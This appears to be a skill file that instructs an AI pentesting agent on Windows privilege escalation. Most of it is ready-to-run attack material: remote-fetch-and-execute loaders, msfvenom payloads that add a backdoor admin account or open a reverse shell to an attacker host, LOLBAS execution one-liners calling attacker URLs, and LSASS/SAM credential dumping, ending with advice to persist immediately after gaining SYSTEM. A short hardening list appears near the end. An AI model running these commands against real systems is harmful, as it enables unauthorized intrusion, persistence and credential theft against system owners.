---
name: Windows Privesc
description: Reference for Windows privilege escalation covering token impersonation, service abuse, AlwaysInstallElevated, unquoted-service-paths, DLL hijacking, LOLBAS-driven living-off-the-land, kernel CVEs, and pre-staged tooling (winPEAS, PowerUp, PrivescCheck).
---

# Windows Privilege Escalation

Reference for escalating from a low-priv Windows shell to SYSTEM / Administrator. Pull this in when you have a foothold (web RCE on Windows, RDP / WinRM / WMI to a low-priv account, post-Kerberoast-cracked credential) and need a focused enumerate-then-abuse playbook.

> Black-box scope: probes run on the foothold via the existing channel (`nxc winrm`, `impacket-psexec`, RDP, web RCE). The agent's `web_search` knowledge base includes LOLBAS; pivot to it for living-off-the-land binary recipes.

## Tool wiring

| Action | Tool | Notes |
|---|---|---|
| Stage scripts to the foothold | `kali_shell python3 -m http.server` from `/opt/tools/windows/` | Then download via `Invoke-WebRequest` / `certutil`. |
| Run a one-off command remotely | `kali_shell nxc winrm $HOST -u $USER -p $PASS -X '<cmd>'` |  |
| Drop a shell on the foothold | `kali_shell impacket-psexec` / `impacket-wmiexec` | For SMB / WMI footholds. |
| LOLBAS lookup | `web_search` | `web_search query: "<binary> lolbas" include_sources: ["lolbas"]` |
| Compile native exploit | `execute_code language: c` | Build, then transfer to the foothold. |

## Pre-staged toolkit

The Kali sandbox ships these enumerators at `/opt/tools/windows/`:

| Path | Tool | Purpose |
|---|---|---|
| `/opt/tools/windows/winPEASx64.exe` | PEASS-ng winPEAS | Comprehensive privesc auditor |
| `/opt/tools/windows/PowerUp.ps1` | PowerSploit/Empire PowerUp | Service / scheduled-task / DLL-hijack auditor |
| `/opt/tools/windows/PrivescCheck.ps1` | itm4n/PrivescCheck | Audit script with explicit checks |

Stage to the foothold:

```powershell
# On sandbox:
cd /opt/tools/windows && python3 -m http.server 8000 &

# On the foothold (PowerShell):
iwr -uri http://<sandbox-ip>:8000/winPEASx64.exe -OutFile $env:TEMP\wp.exe ; & $env:TEMP\wp.exe

# Or via PowerShell loader (no disk write):
IEX(IWR http://<sandbox-ip>:8000/PowerUp.ps1 -UseBasicParsing); Invoke-AllChecks
IEX(IWR http://<sandbox-ip>:8000/PrivescCheck.ps1 -UseBasicParsing); Invoke-PrivescCheck
```

For older / no-PowerShell / restricted environments:

```cmd
certutil -urlcache -split -f http://<sandbox>:8000/winPEASx64.exe %TEMP%\wp.exe
%TEMP%\wp.exe
```

## Enumerate-then-abuse loop

```
Phase 1: Triage     -> whoami /all, OS version, current privs, integrity level
Phase 2: Auditor    -> winPEAS / PowerUp / PrivescCheck
Phase 3: Hypothesis -> Pick the highest-confidence finding
Phase 4: Abuse      -> Execute the specific recipe (token / service / DLL / LOLBAS)
Phase 5: Verify     -> SYSTEM achieved? If not, re-loop with the next hypothesis.
```

## Phase 1: triage commands

```cmd
whoami /all
whoami /priv
whoami /groups
ver
systeminfo
hostname

REM Network
ipconfig /all
arp -a
route print
netstat -ano | findstr LISTENING

REM Services
sc query state= all | findstr SERVICE_NAME
sc query type= service state= all

REM Scheduled tasks
schtasks /query /fo LIST /v 2>nul

REM Installed software
wmic product get name,version 2>nul
dir "C:\Program Files" /b
dir "C:\Program Files (x86)" /b

REM Patches (for kernel-CVE matching)
wmic qfe list brief
```

PowerShell equivalents:

```powershell
Get-LocalUser; Get-LocalGroupMember Administrators
Get-Service | Where-Object {$_.Status -eq 'Running'}
Get-ScheduledTask | Where-Object State -ne 'Disabled'
Get-WmiObject Win32_QuickFixEngineering
Get-Process | Group-Object UserName | Sort-Object Count -desc | Select -First 5
```

## Phase 2: auditor sweep

```powershell
# winPEAS (full)
& "$env:TEMP\wp.exe"

# winPEAS scoped (faster)
& "$env:TEMP\wp.exe" systeminfo userinfo processinfo servicesinfo applicationsinfo
& "$env:TEMP\wp.exe" servicesinfo windowscreds

# PowerUp (Get-Service + Find-PathDLLHijack + service-binary perms in one shot)
. "$env:TEMP\PowerUp.ps1"
Invoke-AllChecks

# PrivescCheck
. "$env:TEMP\PrivescCheck.ps1"
Invoke-PrivescCheck -Extended -Format JSON | Out-File $env:TEMP\pc.json
```

## Phase 3: ranked hypothesis hunt

| Tier | Pattern | Tool/output |
|---|---|---|
| 1 | `SeImpersonatePrivilege` or `SeAssignPrimaryTokenPrivilege` set | Run JuicyPotato / RoguePotato / PrintSpoofer / GodPotato (LSA token theft) |
| 1 | Unquoted service path with writable directory | Place `Program.exe` to hijack |
| 1 | Service binary writable by Users | Replace binary with payload |
| 1 | Scheduled task running as SYSTEM with writable script / EXE | Replace target |
| 1 | DLL hijacking opportunity in PATH | Drop DLL with same name |
| 1 | AlwaysInstallElevated registry flag (HKLM + HKCU) | `msiexec /i` with crafted MSI |
| 1 | `runas /savecred` cached creds | Run any binary as admin via cached cred |
| 2 | Kernel CVE matching `uname`-equivalent (build number) | Compile + run |
| 2 | UAC bypass (fodhelper, eventvwr, etc.) | When current user is local admin but UAC-blocked |
| 2 | Saved credentials in `runas:` | `cmdkey /list`; abuse |
| 2 | Group Policy Preference cpassword in SYSVOL | `gpp-decrypt` |
| 3 | SeBackupPrivilege / SeRestorePrivilege | Read SAM/SYSTEM, dump LSA secrets |
| 3 | Writable `%PATH%` directory before system dirs | DLL / EXE plant |
| 3 | Writable HKLM\System\CurrentControlSet keys | Hijack RPC / service config |
| 3 | LDAP / Kerberos ticket reuse via Mimikatz | Lateral movement / hash extraction |

## Token impersonation (the most common SYSTEM path)

If `whoami /priv` shows `SeImpersonatePrivilege` or `SeAssignPrimaryTokenPrivilege` enabled (any IIS / SQL service account does):

| Tool | Windows version | Notes |
|---|---|---|
| `JuicyPotato` | <= Win10 1809 / Server 2019 | Original; uses DCOM |
| `RoguePotato` | Win10 1809+ | Uses RPC; works post-DCOM-patch |
| `PrintSpoofer` | <= 1809 / 2019 | Uses Print Spooler |
| `GodPotato` | All modern Windows | Generic; uses RPC + cross-session token |
| `RemotePotato0` | All | When you have NT AUTHORITY\NETWORK_SERVICE |
| `SweetPotato` | All | Modern variant; auto-selects best path |
| `EfsPotato` | Server 2019 | EFSRPC abuse |

Stage GodPotato (the most universal, 2023+):

```powershell
iwr http://<attacker>/GodPotato.exe -OutFile $env:TEMP\gp.exe
& $env:TEMP\gp.exe -cmd "cmd.exe /c whoami > C:\Windows\Temp\out.txt"
type C:\Windows\Temp\out.txt
# nt authority\system
```

The Kali sandbox does NOT pre-stage *Potato variants by default (binary signatures get flagged); fetch from a sandbox-side staging area when needed.

## AlwaysInstallElevated

```cmd
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Both must be `0x1`. Then craft an MSI:

```bash
# On the sandbox:
msfvenom -p windows/x64/exec CMD='net user evil P@ssw0rd1 /add && net localgroup administrators evil /add' -f msi -o /tmp/payload.msi
python3 -m http.server 8000 -d /tmp &

# On the foothold:
msiexec /quiet /qn /i http://<sandbox>:8000/payload.msi
```

The MSI runs as SYSTEM regardless of caller; user `evil` is now a local admin.

## Unquoted Service Paths

```cmd
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
```

When a service has `Pathname=C:\Program Files\Some App\service.exe` (no quotes) AND any directory in the path is writable:

```cmd
icacls "C:\Program Files\"
icacls "C:\Program Files\Some App\"
```

Drop `Program.exe` (or `Some.exe` matching first segment) in the writable dir. On service restart, Windows tries the unquoted path: `C:\Program.exe` first.

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=4444 -f exe -o /tmp/Program.exe
# transfer to C:\Program.exe (or wherever the unquoted path resolves first)
sc stop "Some App"
sc start "Some App"
# Catch the reverse shell as SYSTEM
```

## Service binary hijack

```powershell
# PowerUp finds these explicitly
Get-ServiceUnquoted
Get-ModifiableServiceFile         # service binary writable
Get-ModifiableService              # service config writable
```

When the binary itself is writable:

```cmd
sc config <service> binPath= "C:\Windows\System32\cmd.exe /c net user evil P@ssw0rd1 /add"
sc stop <service>
sc start <service>
sc config <service> binPath= "<original-path>"
```

## DLL hijacking

```powershell
Find-PathDLLHijack
Find-ProcessDLLHijack
```

When a service / scheduled task loads a DLL that doesn't exist or sits in a writable path, drop a malicious DLL with the same name. PowerUp reports specific candidates per host.

```bash
msfvenom -p windows/x64/exec CMD='net user evil P@ssw0rd1 /add && net localgroup administrators evil /add' -f dll -o /tmp/<targetdll>.dll
```

## Scheduled task abuse

```cmd
schtasks /query /fo LIST /v | findstr /i "Run As User: SYSTEM"
schtasks /query /tn "<task-name>" /xml
```

If the task runs as SYSTEM and the task script / EXE is writable, modify it. Wait for next run.

## Credential harvesting (post-LPE primitives)

```cmd
REM Cached credentials
cmdkey /list

REM Saved RunAs creds (if any)
runas /savecred /user:DOMAIN\admin "powershell -c IEX(IWR http://attacker/x.ps1)"

REM Browser-saved passwords (winPEAS dumps these)

REM SAM/SYSTEM hashes (with SeBackupPrivilege)
reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system
reg save HKLM\SECURITY C:\Windows\Temp\security
REM Then transfer back; impacket-secretsdump LOCAL -system /tmp/system -sam /tmp/sam

REM LSASS dump (admin or SeDebug)
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <lsass-pid> C:\Windows\Temp\lsass.dmp full
REM Transfer; pypykatz lsa minidump /tmp/lsass.dmp
```

## LOLBAS-driven living-off-the-land

LOLBAS catalogs Microsoft-signed binaries that double as attacker tools (download, execute, persistence). Indexed in the agent's web_search:

```
web_search query: "<binary> lolbas" include_sources: ["lolbas"]
```

High-leverage entries:

| Binary | Use |
|---|---|
| `certutil` | Download: `certutil -urlcache -split -f <url> <out>` |
| `bitsadmin` | Download: `bitsadmin /transfer x <url> <out>` |
| `mshta` | Execute remote HTA: `mshta http://attacker/x.hta` |
| `rundll32` | Execute DLL: `rundll32 \\attacker\share\x.dll,DllMain` |
| `regsvr32` | Squiblydoo: `regsvr32 /s /u /i:http://attacker/x.sct scrobj.dll` |
| `wmic` | XSL execution: `wmic os get /format:"http://attacker/x.xsl"` |
| `msiexec` | Execute remote MSI: `msiexec /q /i http://attacker/x.msi` |
| `installutil` | `installutil /logfile= /LogToConsole=false /U C:\path\x.exe` |
| `regasm` / `regsvcs` | Run .NET assemblies as SYSTEM via .NET install primitives |
| `cmstp` | INF-SCT execution |
| `cdb` | Debugger; load .wds script |
| `tracker` | Loader for arbitrary DLL |
| `dsquery` / `dsget` | AD enumeration without dropping non-Microsoft tools |
| `nltest` | Domain-trust enum: `nltest /domain_trusts /all_trusts` |

## UAC bypass (when foothold IS local admin in low integrity)

If `whoami /groups` shows `Mandatory Label\Medium Mandatory Level` AND user is local admin (UAC-restricted):

| Bypass | How |
|---|---|
| `fodhelper` | HKCU\Software\Classes\ms-settings\Shell\Open\command -> launches as Medium-IL admin without UAC prompt |
| `eventvwr` | HKCU\Software\Classes\mscfile\shell\open\command -> same |
| `sdclt` | HKCU\Software\Classes\Folder\shell\open\command (older) |
| `computerdefaults` | Same family |
| `slui` | `eventvwr` variant |
| `silentcleanup` task | Auto-elevate via taskeng.exe |

PowerShell `Invoke-FodhelperBypass` from PowerSploit is one-liner.

UAC bypasses do NOT work from a non-admin user (they only let an admin skip the consent prompt).

## Kernel CVEs

```cmd
wmic qfe list brief | findstr KB
systeminfo | findstr /i "OS Name" /i "OS Version" /i "System Type"
```

| CVE | Affects | Notes |
|---|---|---|
| CVE-2021-1675 / CVE-2021-34527 ("PrintNightmare") | Pre-July 2021 patches | Print Spooler RCE / LPE |
| CVE-2021-36934 ("HiveNightmare" / "SeriousSAM") | Win10 / 11 / Server 2019/2022 pre-July 2021 | Read SAM via shadow-copy without admin |
| CVE-2022-21882 (win32k Elevation) | Pre-Jan 2022 cumulative | Win32k driver LPE |
| CVE-2022-21919 (User Profile Service Elevation) | Pre-Jan 2022 cumulative | UPS LPE |
| CVE-2022-26904 (User Profile Service) | Pre-April 2022 | LPE via TOCTOU |
| CVE-2023-21768 (afd.sys) | Win11 / Server 2022 pre-March 2023 | Driver LPE |
| CVE-2024-21338 (appid.sys) | Pre-Feb 2024 | Driver LPE; chain with PPL |
| CVE-2024-26229 (csc.sys) | Pre-April 2024 | LPE |

`Watson` (rasta-mouse) auto-correlates `wmic qfe` against MSRC patches; Watson is NOT pre-staged in the sandbox; fetch from the upstream repo when needed.

## SeBackupPrivilege / SeRestorePrivilege

Backup operators have SeBackupPrivilege. With it:

```cmd
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system
reg save HKLM\SECURITY C:\temp\security
```

Plus shadow-copy access:

```powershell
$s=(gwmi -List Win32_ShadowCopy).Create("C:\","ClientAccessible")
$d=(gwmi Win32_ShadowCopy | ? {$_.ID -eq $s.ShadowID}).DeviceObject + "\Windows\System32\config\SAM"
copy $d C:\temp\sam
```

Then `impacket-secretsdump LOCAL -system /tmp/system -sam /tmp/sam`.

## GPP cpassword (SYSVOL)

```powershell
# Search SYSVOL for cpassword
findstr /S /I cpassword \\$DC\SYSVOL\$DOMAIN\Policies\*.xml
```

Decrypt via `gpp-decrypt` on the sandbox. Common in environments older than KB2962486 (May 2014).

## Validation shape

A clean Windows privesc finding includes:

1. Foothold context (current user, integrity level, OS build, current privileges).
2. The auditor output that flagged the finding (winPEAS line, PowerUp result, PrivescCheck JSON entry).
3. The exact abuse command sequence.
4. Proof of SYSTEM (`whoami /priv` showing all privileges enabled, or `whoami` returning `nt authority\system`).
5. Cleanup steps (any planted files / services / scheduled tasks reverted; new local users removed).

## False positives

- winPEAS reports a service as "writable" but ACL inspection (`icacls`) shows the path is not actually writable by the foothold user.
- Unquoted service path exists but the writable-directory portion is `C:\Program Files\` (only admins can write).
- AlwaysInstallElevated only HKCU side set, HKLM side missing -> doesn't work.
- Token-impersonation tools (Potato variants) blocked by AppLocker / WDAC / EDR.
- Kernel CVE matches build number but the patch is backported via cumulative update (`wmic qfe` reveals).

## Hardening summary

- LAPS for local admin password rotation; alert on `ms-Mcs-AdmPwd` reads.
- Always-quote service paths; audit `wmic service get pathname` for unquoted entries.
- Disable AlwaysInstallElevated everywhere.
- Disable Print Spooler on all non-print-server hosts (closes PrintNightmare family).
- Remove `SeImpersonatePrivilege` from any non-system service account.
- Apply WDAC / AppLocker; restrict LOLBAS-class binaries to admin contexts.
- Disable PowerShell v2 (downgrade attack); enforce constrained-language mode for non-admin users.
- Patch monthly with cumulative updates; prioritize CVE-2024-21338, CVE-2024-26229, PrintNightmare derivatives.
- Audit `runas /savecred`, GPP cpassword, and SYSVOL XML for stored secrets.

## Hand-off

```
SYSTEM achieved -> credential harvest    -> mimikatz (sekurlsa::logonpasswords), pypykatz on lsass dump
SYSTEM -> domain pivot                    -> /skill ad_kill_chain (Phase 5+)
SAM/SYSTEM dumped                         -> impacket-secretsdump LOCAL -> NTLM hashes
LSASS dump captured                       -> pypykatz / mimikatz offline
GPP cpassword cracked                     -> /skill ad_kill_chain Phase 5
Saved RunAs cred                          -> direct domain admin / privileged service
Mimikatz access to LSA secrets             -> service-account passwords, DPAPI master keys
```

## Pro tips

- The first command on every Windows foothold is `whoami /priv`. If `SeImpersonatePrivilege` is enabled, GodPotato is a 30-second SYSTEM.
- winPEAS color coding: red/yellow are the prioritized findings; trust them before reading the full output.
- `cmd.exe`-only environments (no PowerShell) can still run `certutil`, `bitsadmin`, `findstr`, `wmic`, `sc`. LOLBAS lookup gives the right cmd-side recipe.
- Microsoft KB-published patches sometimes don't show up in `wmic qfe` if installed via Windows Update directly; cross-check with the build number (`ver`) against the MSRC KB-to-build mapping.
- Most-modern domain-joined Windows hosts have AppLocker / WDAC. *Potato variants get flagged. Test in a VM first when stealth matters.
- The agent's `web_search` knowledge base includes LOLBAS; query with `include_sources: ["lolbas"]` for binary-specific recipes faster than reading the full skill.
- `winPEAS userinfo systeminfo applicationsinfo` is the quietest invocation: skips network probing.
- `PowerUp.ps1` from PowerSploit is older; it still finds the canonical service-config bugs reliably.
- `PrivescCheck.ps1` (itm4n) is more modern and ships JSON output, which the agent parses cleanly.
- A successful SYSTEM should immediately persist via `Mimikatz` LSA secrets and disk-side SAM dump, so the foothold doesn't need to be re-acquired.
